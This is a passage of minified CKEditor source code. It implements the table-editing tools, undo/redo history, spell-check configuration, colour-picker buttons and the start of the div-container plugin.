CKEDITOR.dom.element(l[d]),h=u.getParent().$.rowIndex;1==u.$.rowSpan?u.remove():(u.$.rowSpan-=1,h==s&&((h=o[s+1])[d-1]?u.insertAfter(new CKEDITOR.dom.element(h[d-1])):new CKEDITOR.dom.element(i.$.rows[s+1]).append(u,1))),d+=u.$.colSpan-1}a.push(c)}for(o=i.$.rows,i=new CKEDITOR.dom.element(o[r+1]||(0<t?o[t-1]:null)||i.$.parentNode),s=a.length;0<=s;s--)n(a[s]);return i}return t instanceof CKEDITOR.dom.element&&(1==(i=t.getAscendant("table")).$.rows.length?i.remove():t.remove()),null}function i(e,t){for(var n=t?1/0:0,i=0;i<e.length;i++){for(var o,r=t,a=(o=e[i]).getParent().$.cells,s=0,l=0;l<a.length;l++){var c=a[l];if(s+=r?1:c.colSpan,c==o.$)break}o=s-1,(t?o<n:o>n)&&(n=o)}return n}function o(t,n){for(var o=(a=e(t))[0].getAscendant("table"),r=i(a,1),a=i(a),s=(r=n?r:a,CKEDITOR.tools.buildTableMap(o)),l=(o=[],a=[],s.length),c=0;c<l;c++)o.push(s[c][r]),a.push(n?s[c][r-1]:s[c][r+1]);for(c=0;c<l;c++)o[c]&&(1<o[c].colSpan&&a[c]==o[c]?(r=o[c]).colSpan+=1:((r=new CKEDITOR.dom.element(o[c]).clone()).removeAttribute("colSpan"),r.appendBogus(),r[n?"insertBefore":"insertAfter"].call(r,new CKEDITOR.dom.element(o[c])),r=r.$),c+=r.rowSpan-1)}function r(e,t){var n=e.getStartElement();if(n=n.getAscendant("td",1)||n.getAscendant("th",1)){var i=n.clone();i.appendBogus(),t?i.insertBefore(n):i.insertAfter(n)}}function a(t){if(t instanceof CKEDITOR.dom.selection){var n,i=(t=e(t))[0]&&t[0].getAscendant("table");e:{var o=0;n=t.length-1;for(var r,l,c={};r=t[o++];)CKEDITOR.dom.element.setMarker(c,r,"delete_cell",!0);for(o=0;r=t[o++];)if((l=r.getPrevious())&&!l.getCustomData("delete_cell")||(l=r.getNext())&&!l.getCustomData("delete_cell")){CKEDITOR.dom.element.clearAllMarkers(c),n=l;break e}CKEDITOR.dom.element.clearAllMarkers(c),n=(l=(l=t[0].getParent()).getPrevious())?l.getLast():(l=(l=t[n].getParent()).getNext())?l.getChild(0):null}for(l=t.length-1;0<=l;l--)a(t[l]);n?s(n,!0):i&&i.remove()}else t instanceof CKEDITOR.dom.element&&(1==(i=t.getParent()).getChildCount()?i.remove():t.remove())}function s(e,t){var n=e.getDocument(),i=CKEDITOR.document;CKEDITOR.env.ie&&11>CKEDITOR.env.version&&(i.focus(),n.focus()),(n=new CKEDITOR.dom.range(n))["moveToElementEdit"+(t?"End":"Start")](e)||(n.selectNodeContents(e),n.collapse(!t)),n.select(!0)}function l(e,t,n){if(e=e[t],void 0===n)return e;for(t=0;e&&t<e.length;t++){if(n.is&&e[t]==n.$)return t;if(t==n)return new CKEDITOR.dom.element(e[t])}return n.is?-1:null}function c(t,n,i){var o,r,a=e(t);if((n?1!=a.length:2>a.length)||(o=t.getCommonAncestor())&&o.type==CKEDITOR.NODE_ELEMENT&&o.is("table"))return!1;o=(t=a[0]).getAscendant("table");var s=CKEDITOR.tools.buildTableMap(o),c=s.length,d=s[0].length,u=t.getParent().$.rowIndex,h=l(s,u,t);if(n){var m;try{var f=parseInt(t.getAttribute("rowspan"),10)||1;r=parseInt(t.getAttribute("colspan"),10)||1,m=s["up"==n?u-f:"down"==n?u+f:u]["left"==n?h-r:"right"==n?h+r:h]}catch(e){return!1}if(!m||t.$==m)return!1;a["up"==n||"left"==n?"unshift":"push"](new CKEDITOR.dom.element(m))}n=t.getDocument();var E=u,g=(f=m=0,!i&&new CKEDITOR.dom.documentFragment(n)),T=0;for(n=0;n<a.length;n++){var p=(r=a[n]).getParent(),C=r.getFirst(),I=r.$.colSpan,O=r.$.rowSpan,D=l(s,p=p.$.rowIndex,r);T+=I*O,f=Math.max(f,D-h+I),m=Math.max(m,p-u+O),i||((O=(I=r).getBogus())&&O.remove(),I.trim(),r.getChildren().count()&&(p==E||!C||C.isBlockBoundary&&C.isBlockBoundary({br:1})||(E=g.getLast(CKEDITOR.dom.walker.whitespaces(!0)))&&(!E.is||!E.is("br"))&&g.append("br"),r.moveChildren(g)),n?r.remove():r.setHtml("")),E=p}if(i)return m*f==T;for(g.moveChildren(t),t.appendBogus(),f>=d?t.removeAttribute("rowSpan"):t.$.rowSpan=m,m>=c?t.removeAttribute("colSpan"):t.$.colSpan=f,n=(a=(i=new CKEDITOR.dom.nodeList(o.$.rows)).count())-1;0<=n;n--)(o=i.getItem(n)).$.cells.length||(o.remove(),a++);return t}function d(t,n){if(1<(i=e(t)).length)return!1;if(n)return!0;var i,o,r=(d=(i=i[0]).getParent()).getAscendant("table"),a=l(u=CKEDITOR.tools.buildTableMap(r),h=d.$.rowIndex,i);if(1<(c=i.$.rowSpan)){o=Math.ceil(c/2);for(var s,c=Math.floor(c/2),d=h+o,u=(r=new CKEDITOR.dom.element(r.$.rows[d]),l(u,d)),h=(d=i.clone(),0);h<u.length;h++){if((s=u[h]).parentNode==r.$&&h>a){d.insertBefore(new CKEDITOR.dom.element(s));break}s=null}s||r.append(d,!0)}else for(c=o=1,(r=d.clone()).insertAfter(d),r.append(d=i.clone()),s=l(u,h),a=0;a<s.length;a++)s[a].rowSpan++;return d.appendBogus(),i.$.rowSpan=o,d.$.rowSpan=c,1==o&&i.removeAttribute("rowSpan"),1==c&&d.removeAttribute("rowSpan"),d}function u(t,n){if(1<(i=e(t)).length)return!1;if(n)return!0;var i,o=(i=i[0]).getParent(),r=o.getAscendant("table"),a=l(r=CKEDITOR.tools.buildTableMap(r),o.$.rowIndex,i);if(1<(s=i.$.colSpan))o=Math.ceil(s/2),s=Math.floor(s/2);else{for(var s=o=1,c=[],d=0;d<r.length;d++){var u=r[d];c.push(u[a]),1<u[a].rowSpan&&(d+=u[a].rowSpan-1)}for(r=0;r<c.length;r++)c[r].colSpan++}return(r=i.clone()).insertAfter(i),r.appendBogus(),i.$.colSpan=o,r.$.colSpan=s,1==o&&i.removeAttribute("colSpan"),1==s&&r.removeAttribute("colSpan"),r}var h=/^(?:td|th)$/;CKEDITOR.plugins.tabletools={requires:"table,dialog,contextmenu",init:function(i){function l(e){return CKEDITOR.tools.extend(e||{},{contextSensitive:1,refresh:function(e,t){this.setState(t.contains({td:1,th:1},1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}function h(e,t){var n=i.addCommand(e,t);i.addFeature(n)}var m=i.lang.table;h("cellProperties",new CKEDITOR.dialogCommand("cellProperties",l({allowedContent:"td th{width,height,border-color,background-color,white-space,vertical-align,text-align}[colspan,rowspan]",requiredContent:"table"}))),CKEDITOR.dialog.add("cellProperties",this.path+"dialogs/tableCell.js"),h("rowDelete",l({requiredContent:"table",exec:function(e){s(n(e=e.getSelection()))}})),h("rowInsertBefore",l({requiredContent:"table",exec:function(e){t(e=e.getSelection(),!0)}})),h("rowInsertAfter",l({requiredContent:"table",exec:function(e){t(e=e.getSelection())}})),h("columnDelete",l({requiredContent:"table",exec:function(t){for(var n,i,o=(t=e(t=t.getSelection()))[0],r=t[t.length-1],a=(t=o.getAscendant("table"),CKEDITOR.tools.buildTableMap(t)),l=[],c=0,d=a.length;c<d;c++)for(var u=0,h=a[c].length;u<h;u++)a[c][u]==o.$&&(n=u),a[c][u]==r.$&&(i=u);for(c=n;c<=i;c++)for(u=0;u<a.length;u++)r=a[u],o=new CKEDITOR.dom.element(t.$.rows[u]),(r=new CKEDITOR.dom.element(r[c])).$&&(1==r.$.colSpan?r.remove():r.$.colSpan-=1,u+=r.$.rowSpan-1,o.$.cells.length||l.push(o));i=t.$.rows[0]&&t.$.rows[0].cells,n=new CKEDITOR.dom.element(i[n]||(n?i[n-1]:t.$.parentNode)),l.length==d&&t.remove(),n&&s(n,!0)}})),h("columnInsertBefore",l({requiredContent:"table",exec:function(e){o(e=e.getSelection(),!0)}})),h("columnInsertAfter",l({requiredContent:"table",exec:function(e){o(e=e.getSelection())}})),h("cellDelete",l({requiredContent:"table",exec:function(e){a(e=e.getSelection())}})),h("cellMerge",l({allowedContent:"td[colspan,rowspan]",requiredContent:"td[colspan,rowspan]",exec:function(e){s(c(e.getSelection()),!0)}})),h("cellMergeRight",l({allowedContent:"td[colspan]",requiredContent:"td[colspan]",exec:function(e){s(c(e.getSelection(),"right"),!0)}})),h("cellMergeDown",l({allowedContent:"td[rowspan]",requiredContent:"td[rowspan]",exec:function(e){s(c(e.getSelection(),"down"),!0)}})),h("cellVerticalSplit",l({allowedContent:"td[rowspan]",requiredContent:"td[rowspan]",exec:function(e){s(d(e.getSelection()))}})),h("cellHorizontalSplit",l({allowedContent:"td[colspan]",requiredContent:"td[colspan]",exec:function(e){s(u(e.getSelection()))}})),h("cellInsertBefore",l({requiredContent:"table",exec:function(e){r(e=e.getSelection(),!0)}})),h("cellInsertAfter",l({requiredContent:"table",exec:function(e){r(e=e.getSelection())}})),i.addMenuItems&&i.addMenuItems({tablecell:{label:m.cell.menu,group:"tablecell",order:1,getItems:function(){var t=i.getSelection(),n=e(t);return{tablecell_insertBefore:CKEDITOR.TRISTATE_OFF,tablecell_insertAfter:CKEDITOR.TRISTATE_OFF,tablecell_delete:CKEDITOR.TRISTATE_OFF,tablecell_merge:c(t,null,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_merge_right:c(t,"right",!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_merge_down:c(t,"down",!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_vertical:d(t,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_horizontal:u(t,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_properties:0<n.length?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED}}},tablecell_insertBefore:{label:m.cell.insertBefore,group:"tablecell",command:"cellInsertBefore",order:5},tablecell_insertAfter:{label:m.cell.insertAfter,group:"tablecell",command:"cellInsertAfter",order:10},tablecell_delete:{label:m.cell.deleteCell,group:"tablecell",command:"cellDelete",order:15},tablecell_merge:{label:m.cell.merge,group:"tablecell",command:"cellMerge",order:16},tablecell_merge_right:{label:m.cell.mergeRight,group:"tablecell",command:"cellMergeRight",order:17},tablecell_merge_down:{label:m.cell.mergeDown,group:"tablecell",command:"cellMergeDown",order:18},tablecell_split_horizontal:{label:m.cell.splitHorizontal,group:"tablecell",command:"cellHorizontalSplit",order:19},tablecell_split_vertical:{label:m.cell.splitVertical,group:"tablecell",command:"cellVerticalSplit",order:20},tablecell_properties:{label:m.cell.title,group:"tablecellproperties",command:"cellProperties",order:21},tablerow:{label:m.row.menu,group:"tablerow",order:1,getItems:function(){return{tablerow_insertBefore:CKEDITOR.TRISTATE_OFF,tablerow_insertAfter:CKEDITOR.TRISTATE_OFF,tablerow_delete:CKEDITOR.TRISTATE_OFF}}},tablerow_insertBefore:{label:m.row.insertBefore,group:"tablerow",command:"rowInsertBefore",order:5},tablerow_insertAfter:{label:m.row.insertAfter,group:"tablerow",command:"rowInsertAfter",order:10},tablerow_delete:{label:m.row.deleteRow,group:"tablerow",command:"rowDelete",order:15},tablecolumn:{label:m.column.menu,group:"tablecolumn",order:1,getItems:function(){return{tablecolumn_insertBefore:CKEDITOR.TRISTATE_OFF,tablecolumn_insertAfter:CKEDITOR.TRISTATE_OFF,tablecolumn_delete:CKEDITOR.TRISTATE_OFF}}},tablecolumn_insertBefore:{label:m.column.insertBefore,group:"tablecolumn",command:"columnInsertBefore",order:5},tablecolumn_insertAfter:{label:m.column.insertAfter,group:"tablecolumn",command:"columnInsertAfter",order:10},tablecolumn_delete:{label:m.column.deleteColumn,group:"tablecolumn",command:"columnDelete",order:15}}),i.contextMenu&&i.contextMenu.addListener((function(e,t,n){return(e=n.contains({td:1,th:1},1))&&!e.isReadOnly()?{tablecell:CKEDITOR.TRISTATE_OFF,tablerow:CKEDITOR.TRISTATE_OFF,tablecolumn:CKEDITOR.TRISTATE_OFF}:null}))},getSelectedCells:e},CKEDITOR.plugins.add("tabletools",CKEDITOR.plugins.tabletools)}(),CKEDITOR.tools.buildTableMap=function(e){e=e.$.rows;for(var t=-1,n=[],i=0;i<e.length;i++){!n[++t]&&(n[t]=[]);for(var o=-1,r=0;r<e[i].cells.length;r++){var a=e[i].cells[r];for(o++;n[t][o];)o++;for(var s=isNaN(a.colSpan)?1:a.colSpan,l=(a=isNaN(a.rowSpan)?1:a.rowSpan,0);l<a;l++){n[t+l]||(n[t+l]=[]);for(var c=0;c<s;c++)n[t+l][o+c]=e[i].cells[r]}o+=s-1}}return n},function(){function e(e){this.editor=e,this.reset()}CKEDITOR.plugins.add("undo",{init:function(t){function n(e){o.enabled&&!1!==e.data.command.canUndo&&o.save()}function i(){o.enabled=!t.readOnly&&"wysiwyg"==t.mode,o.onChange()}var o=t.undoManager=new e(t),r=t.addCommand("undo",{exec:function(){o.undo()&&(t.selectionChange(),this.fire("afterUndo"))},startDisabled:!0,canUndo:!1}),a=t.addCommand("redo",{exec:function(){o.redo()&&(t.selectionChange(),this.fire("afterRedo"))},startDisabled:!0,canUndo:!1});t.setKeystroke([[CKEDITOR.CTRL+90,"undo"],[CKEDITOR.CTRL+89,"redo"],[CKEDITOR.CTRL+CKEDITOR.SHIFT+90,"redo"]]),o.onChange=function(){r.setState(o.undoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED),a.setState(o.redoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)},t.on("beforeCommandExec",n),t.on("afterCommandExec",n),t.on("saveSnapshot",(function(e){o.save(e.data&&e.data.contentOnly)})),t.on("contentDom",(function(){t.editable().on("keydown",(function(e){(8==(e=e.data.getKey())||46==e)&&o.type(e,0)})),t.editable().on("keypress",(function(e){o.type(e.data.getKey(),1)}))})),t.on("beforeModeUnload",(function(){"wysiwyg"==t.mode&&o.save(!0)})),t.on("mode",i),t.on("readOnly",i),t.ui.addButton&&(t.ui.addButton("Undo",{label:t.lang.undo.undo,command:"undo",toolbar:"undo,10"}),t.ui.addButton("Redo",{label:t.lang.undo.redo,command:"redo",toolbar:"undo,20"})),t.resetUndo=function(){o.reset(),t.fire("saveSnapshot")},t.on("updateSnapshot",(function(){o.currentImage&&o.update()})),t.on("lockSnapshot",(function(e){o.lock(e.data&&e.data.dontUpdate)})),t.on("unlockSnapshot",o.unlock,o)}}),CKEDITOR.plugins.undo={};var t=CKEDITOR.plugins.undo.Image=function(e,t){this.editor=e,e.fire("beforeUndoImage");var n=e.getSnapshot();CKEDITOR.env.ie&&n&&(n=n.replace(/\s+data-cke-expando=".*?"/g,"")),this.contents=n,t||(this.bookmarks=(n=n&&e.getSelection())&&n.createBookmarks2(!0)),e.fire("afterUndoImage")},n=/\b(?:href|src|name)="[^"]*?"/gi;t.prototype={equalsContent:function(e){var t=this.contents;return e=e.contents,CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)&&(t=t.replace(n,""),e=e.replace(n,"")),t==e},equalsSelection:function(e){var t=this.bookmarks;if(e=e.bookmarks,t||e){if(!t||!e||t.length!=e.length)return!1;for(var n=0;n<t.length;n++){var i=t[n],o=e[n];if(i.startOffset!=o.startOffset||i.endOffset!=o.endOffset||!CKEDITOR.tools.arrayCompare(i.start,o.start)||!CKEDITOR.tools.arrayCompare(i.end,o.end))return!1}}return!0}},e.prototype={type:function(e,n){var i=!n&&e!=this.lastKeystroke,o=this.editor;if(!this.typing||n&&!this.wasCharacter||i){var r=new t(o),a=this.snapshots.length;CKEDITOR.tools.setTimeout((function(){var e=o.getSnapshot();CKEDITOR.env.ie&&(e=e.replace(/\s+data-cke-expando=".*?"/g,"")),r.contents!=e&&a==this.snapshots.length&&(this.typing=!0,this.save(!1,r,!1)||this.snapshots.splice(this.index+1,this.snapshots.length-this.index-1),this.hasUndo=!0,this.hasRedo=!1,this.modifiersCount=this.typesCount=1,this.onChange())}),0,this)}this.lastKeystroke=e,(this.wasCharacter=n)?(this.modifiersCount=0,this.typesCount++,25<this.typesCount?(this.save(!1,null,!1),this.typesCount=1):setTimeout((function(){o.fire("change")}),0)):(this.typesCount=0,this.modifiersCount++,25<this.modifiersCount?(this.save(!1,null,!1),this.modifiersCount=1):setTimeout((function(){o.fire("change")}),0))},reset:function(){this.lastKeystroke=0,this.snapshots=[],this.index=-1,this.limit=this.editor.config.undoStackSize||20,this.currentImage=null,this.hasRedo=this.hasUndo=!1,this.locked=null,this.resetType()},resetType:function(){this.typing=!1,delete this.lastKeystroke,this.modifiersCount=this.typesCount=0},fireChange:function(){this.hasUndo=!!this.getNextImage(!0),this.hasRedo=!!this.getNextImage(!1),this.resetType(),this.onChange()},save:function(e,n,i){if(this.locked)return!1;var o=this.snapshots;if(n||(n=new t(this.editor)),!1===n.contents)return!1;if(this.currentImage)if(n.equalsContent(this.currentImage)){if(e||n.equalsSelection(this.currentImage))return!1}else this.editor.fire("change");return o.splice(this.index+1,o.length-this.index-1),o.length==this.limit&&o.shift(),this.index=o.push(n)-1,this.currentImage=n,!1!==i&&this.fireChange(),!0},restoreImage:function(e){var t,n=this.editor;e.bookmarks&&(n.focus(),t=n.getSelection()),this.locked=1,this.editor.loadSnapshot(e.contents),e.bookmarks?t.selectBookmarks(e.bookmarks):CKEDITOR.env.ie&&((t=this.editor.document.getBody().$.createTextRange()).collapse(!0),t.select()),this.locked=0,this.index=e.index,this.currentImage=this.snapshots[this.index],this.update(),this.fireChange(),n.fire("change")},getNextImage:function(e){var t,n=this.snapshots,i=this.currentImage;if(i)if(e){for(t=this.index-1;0<=t;t--)if(e=n[t],!i.equalsContent(e))return e.index=t,e}else for(t=this.index+1;t<n.length;t++)if(e=n[t],!i.equalsContent(e))return e.index=t,e;return null},redoable:function(){return this.enabled&&this.hasRedo},undoable:function(){return this.enabled&&this.hasUndo},undo:function(){if(this.undoable()){this.save(!0);var e=this.getNextImage(!0);if(e)return this.restoreImage(e),!0}return!1},redo:function(){if(this.redoable()&&(this.save(!0),this.redoable())){var e=this.getNextImage(!1);if(e)return this.restoreImage(e),!0}return!1},update:function(e){if(!this.locked){e||(e=new t(this.editor));for(var n=this.index,i=this.snapshots;0<n&&this.currentImage.equalsContent(i[n-1]);)n-=1;i.splice(n,this.index-n+1,e),this.index=n,this.currentImage=e}},lock:function(e){this.locked?this.locked.level++:e?this.locked={level:1}:(e=new t(this.editor,!0),this.locked={update:this.currentImage&&this.currentImage.equalsContent(e)?e:null,level:1})},unlock:function(){if(this.locked&&!--this.locked.level){var e=this.locked.update,n=e&&new t(this.editor,!0);this.locked=null,e&&!e.equalsContent(n)&&this.update()}}}}(),CKEDITOR.config.wsc_removeGlobalVariable=!0,CKEDITOR.plugins.add("wsc",{requires:"dialog",parseApi:function(e){e.config.wsc_onFinish="function"==typeof e.config.wsc_onFinish?e.config.wsc_onFinish:function(){},e.config.wsc_onClose="function"==typeof e.config.wsc_onClose?e.config.wsc_onClose:function(){}},parseConfig:function(e){e.config.wsc_customerId=e.config.wsc_customerId||CKEDITOR.config.wsc_customerId||"1:ua3xw1-2XyGJ3-GWruD3-6OFNT1-oXcuB1-nR6Bp4-hgQHc-EcYng3-sdRXG3-NOfFk",e.config.wsc_customDictionaryIds=e.config.wsc_customDictionaryIds||CKEDITOR.config.wsc_customDictionaryIds||"",e.config.wsc_userDictionaryName=e.config.wsc_userDictionaryName||CKEDITOR.config.wsc_userDictionaryName||"",e.config.wsc_customLoaderScript=e.config.wsc_customLoaderScript||CKEDITOR.config.wsc_customLoaderScript,CKEDITOR.config.wsc_cmd=e.config.wsc_cmd||CKEDITOR.config.wsc_cmd||"spell",CKEDITOR.config.wsc_version=CKEDITOR.version+" | %Rev%"},init:function(e){this.parseConfig(e),this.parseApi(e),e.addCommand("checkspell",new CKEDITOR.dialogCommand("checkspell")).modes={wysiwyg:!CKEDITOR.env.opera&&!CKEDITOR.env.air&&document.domain==window.location.hostname},void 0===e.plugins.scayt&&e.ui.addButton&&e.ui.addButton("SpellChecker",{label:e.lang.wsc.toolbar,command:"checkspell",toolbar:"spellchecker,10"}),CKEDITOR.dialog.add("checkspell",this.path+(CKEDITOR.env.ie&&8>=CKEDITOR.env.version?"dialogs/wsc_ie.js":window.postMessage?"dialogs/wsc.js":"dialogs/wsc_ie.js"))}}),CKEDITOR.plugins.add("panelbutton",{requires:"button",onLoad:function(){function e(e){var t=this._;t.state!=CKEDITOR.TRISTATE_DISABLED&&(this.createPanel(e),t.on?t.panel.hide():t.panel.showBlock(this._.id,this.document.getById(this._.id),4))}CKEDITOR.ui.panelButton=CKEDITOR.tools.createClass({base:CKEDITOR.ui.button,$:function(t){var n=t.panel||{};delete t.panel,this.base(t),this.document=n.parent&&n.parent.getDocument()||CKEDITOR.document,n.block={attributes:n.attributes},this.hasArrow=n.toolbarRelated=!0,this.click=e,this._={panelDefinition:n}},statics:{handler:{create:function(e){return new CKEDITOR.ui.panelButton(e)}}},proto:{createPanel:function(e){var t=this._;if(!t.panel){var n=this._.panelDefinition,i=this._.panelDefinition.block,o=n.parent||CKEDITOR.document.getBody(),r=this._.panel=new CKEDITOR.ui.floatPanel(e,o,n),a=(n=r.addBlock(t.id,i),this);r.onShow=function(){a.className&&this.element.addClass(a.className+"_panel"),a.setState(CKEDITOR.TRISTATE_ON),t.on=1,a.editorFocus&&e.focus(),a.onOpen&&a.onOpen()},r.onHide=function(n){a.className&&this.element.getFirst().removeClass(a.className+"_panel"),a.setState(a.modes&&a.modes[e.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED),t.on=0,!n&&a.onClose&&a.onClose()},r.onEscape=function(){r.hide(1),a.document.getById(t.id).focus()},this.onBlock&&this.onBlock(r,n),n.onHide=function(){t.on=0,a.setState(CKEDITOR.TRISTATE_OFF)}}}}})},beforeInit:function(e){e.ui.addHandler(CKEDITOR.UI_PANELBUTTON,CKEDITOR.ui.panelButton.handler)}}),CKEDITOR.UI_PANELBUTTON="panelbutton",CKEDITOR.plugins.add("colorbutton",{requires:"panelbutton,floatpanel",init:function(e){function t(t,r,a,s){var l=new CKEDITOR.style(i["colorButton_"+r+"Style"]),c=CKEDITOR.tools.getNextId()+"_colorBox";e.ui.add(t,CKEDITOR.UI_PANELBUTTON,{label:a,title:a,modes:{wysiwyg:1},editorFocus:0,toolbar:"colors,"+s,allowedContent:l,requiredContent:l,panel:{css:CKEDITOR.skin.getPath("editor"),attributes:{role:"listbox","aria-label":o.panelTitle}},onBlock:function(t,a){a.autoSize=!0,a.element.addClass("cke_colorblock"),a.element.setHtml(function(t,r,a){var s=[],l=i.colorButton_colors.split(","),c=CKEDITOR.tools.addFunction((function(o,r){if("?"==o){var a=arguments.callee,s=function(e){this.removeListener("ok",s),this.removeListener("cancel",s),"ok"==e.name&&a(this.getContentElement("picker","selectedColor").getValue(),r)};e.openDialog("colordialog",(function(){this.on("ok",s),this.on("cancel",s)}))}else{if(e.focus(),t.hide(),e.fire("saveSnapshot"),e.removeStyle(new CKEDITOR.style(i["colorButton_"+r+"Style"],{color:"inherit"})),o){var l=i["colorButton_"+r+"Style"];l.childRule="back"==r?function(e){return n(e)}:function(e){return!(e.is("a")||e.getElementsByTag("a").count())||n(e)},e.applyStyle(new CKEDITOR.style(l,{color:o}))}e.fire("saveSnapshot")}}));for(s.push('<a class="cke_colorauto" _cke_focus=1 hidefocus=true title="',o.auto,'" onclick="CKEDITOR.tools.callFunction(',c,",null,'",r,"');return false;\" href=\"javascript:void('",o.auto,'\')" role="option"><table role="presentation" cellspacing=0 cellpadding=0 width="100%"><tr><td><span class="cke_colorbox" id="',a,'"></span></td><td colspan=7 align=center>',o.auto,'</td></tr></table></a><table role="presentation" cellspacing=0 cellpadding=0 width="100%">'),a=0;a<l.length;a++){0==a%8&&s.push("</tr><tr>");var d=l[a].split("/"),u=d[0],h=d[1]||u;d[1]||(u="#"+u.replace(/^(.)(.)(.)$/,"$1$1$2$2$3$3")),d=e.lang.colorbutton.colors[h]||h,s.push('<td><a class="cke_colorbox" _cke_focus=1 hidefocus=true title="',d,'" onclick="CKEDITOR.tools.callFunction(',c,",'",u,"','",r,"'); return false;\" href=\"javascript:void('",d,'\')" role="option"><span class="cke_colorbox" style="background-color:#',h,'"></span></a></td>')}return(e.plugins.colordialog&&void 0===i.colorButton_enableMore||i.colorButton_enableMore)&&s.push('</tr><tr><td colspan=8 align=center><a class="cke_colormore" _cke_focus=1 hidefocus=true title="',o.more,'" onclick="CKEDITOR.tools.callFunction(',c,",'?','",r,"');return false;\" href=\"javascript:void('",o.more,"')\"",' role="option">',o.more,"</a></td>"),s.push("</tr></table>"),s.join("")}(t,r,c)),a.element.getDocument().getBody().setStyle("overflow","hidden"),CKEDITOR.ui.fire("ready",this);var s=a.keys,l="rtl"==e.lang.dir;s[l?37:39]="next",s[40]="next",s[9]="next",s[l?39:37]="prev",s[38]="prev",s[CKEDITOR.SHIFT+9]="prev",s[32]="click"},refresh:function(){e.activeFilter.check(l)||this.setState(CKEDITOR.TRISTATE_DISABLED)},onOpen:function(){var t,n=(n=e.getSelection())&&n.getStartElement();if(n=e.elementPath(n)){n=n.block||n.blockLimit||e.document.getBody();do{t=n&&n.getComputedStyle("back"==r?"background-color":"color")||"transparent"}while("back"==r&&"transparent"==t&&n&&(n=n.getParent()));return t&&"transparent"!=t||(t="#ffffff"),this._.panel._.iframe.getFrameDocument().getById(c).setStyle("background-color",t),t}}})}function n(e){return"false"==e.getAttribute("contentEditable")||e.getAttribute("data-nostyle")}var i=e.config,o=e.lang.colorbutton;CKEDITOR.env.hc||(t("TextColor","fore",o.textColorTitle,10),t("BGColor","back",o.bgColorTitle,20))}}),CKEDITOR.config.colorButton_colors="000,800000,8B4513,2F4F4F,008080,000080,4B0082,696969,B22222,A52A2A,DAA520,006400,40E0D0,0000CD,800080,808080,F00,FF8C00,FFD700,008000,0FF,00F,EE82EE,A9A9A9,FFA07A,FFA500,FFFF00,00FF00,AFEEEE,ADD8E6,DDA0DD,D3D3D3,FFF0F5,FAEBD7,FFFFE0,F0FFF0,F0FFFF,F0F8FF,E6E6FA,FFF",CKEDITOR.config.colorButton_foreStyle={element:"span",styles:{color:"#(color)"},overrides:[{element:"font",attributes:{color:null}}]},CKEDITOR.config.colorButton_backStyle={element:"span",styles:{"background-color":"#(color)"}},CKEDITOR.plugins.colordialog={requires:"dialog",init:function(e){var t=new CKEDITOR.dialogCommand("colordialog");t.editorFocus=!1,e.addCommand("colordialog",t),CKEDITOR.dialog.add("colordialog",this.path+"dialogs/colordialog.js"),e.getColorFromDialog=function(t,n){var i=function(e){this.removeListener("ok",i),this.removeListener("cancel",i),e="ok"==e.name?this.getValueOf("picker","selectedColor"):null,t.call(n,e)},o=function(e){e.on("ok",i),e.on("cancel",i)};e.execCommand("colordialog"),e._.storedDialogs&&e._.storedDialogs.colordialog?o(e._.storedDialogs.colordialog):CKEDITOR.on("dialogDefinition",(function(e){if("colordialog"==e.data.name){var t=e.data.definition;e.removeListener(),t.onLoad=CKEDITOR.tools.override(t.onLoad,(function(e){return function(){o(this),t.onLoad=e,"function"==typeof e&&e.call(this)}}))}}))}}},CKEDITOR.plugins.add("colordialog",CKEDITOR.plugins.colordialog),CKEDITOR.plugins.add("div",{requires:"dialog",init:function(e){if(!e.blockless){var t=e.lang.div,n="div(*)";CKEDITOR.dialog.isTabEnabled(e,"editdiv","advanced")&&(n+=";div[dir,id,lang,title]{*}"),e.addCommand("creatediv",new CKEDITOR.dialogCommand("creatediv",{allowedContent:n,requiredContent:"div",contextSensitive:!0,refresh:function(e,t){this.setState("div"in(e.config.div_wrapTable?t.root:t.blockLimit).getDtd()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})),e.addCommand("editdiv",new CKEDITOR.dialogCommand("editdiv",{requiredContent:"div"})),e.addCommand("removediv",{requiredContent:"div",exec:function(e){function t(t){(t=CKEDITOR.plugins.div.getSurroundDiv(e,t))&&!t.data("cke-div-added")&&(a.push(t),t.data("cke-div-added"))}for(var n,i=e.getSelection(),o=i&&i.getRanges(),r=i.createBookmarks(),a=[],s=0;s<o.length;s++)(n=o[s]).collapsed?t(i.getStartElement()):((n=new CKEDITOR.dom.walker(n)).evaluator=t,n.lastForward());for(s=0;s<a.length;s++)a[s].remove(!0);i.selectBookmarks(r)}}),e.ui.addButton&&e.ui.addButton("CreateDiv",{label:t.toolbar,command:"creatediv",toolbar:"blocks,50"}),e.addMenuItems&&(e.addMenuItems({editdiv:{label:t.edit,command:"editdiv",group:"div",order:1},removediv:{label:t.remove,command:"removediv",group:"div",order:5}}),e.contextMenu&&e.contextMenu.addListener((function(t){return!t||t.isReadOnly()?null:CKEDITOR.plugins.div.getSurroundDiv(e)?{editdiv:CKEDITOR.TRISTATE_OFF,removediv:CKEDITOR.TRISTATE_OFF}:null}))),CKEDITOR.dialog.add("creatediv",this.path+"dialogs/div.js"),CKEDITOR.dialog.add("editdiv",this.path+"dialogs/div.js")}}}),CKEDITOR.plugins.div={getSurroundDiv:function(e,t){var n=e.elementPath(t);return e.elementPath(n.blockLimit).contains((function(e){return 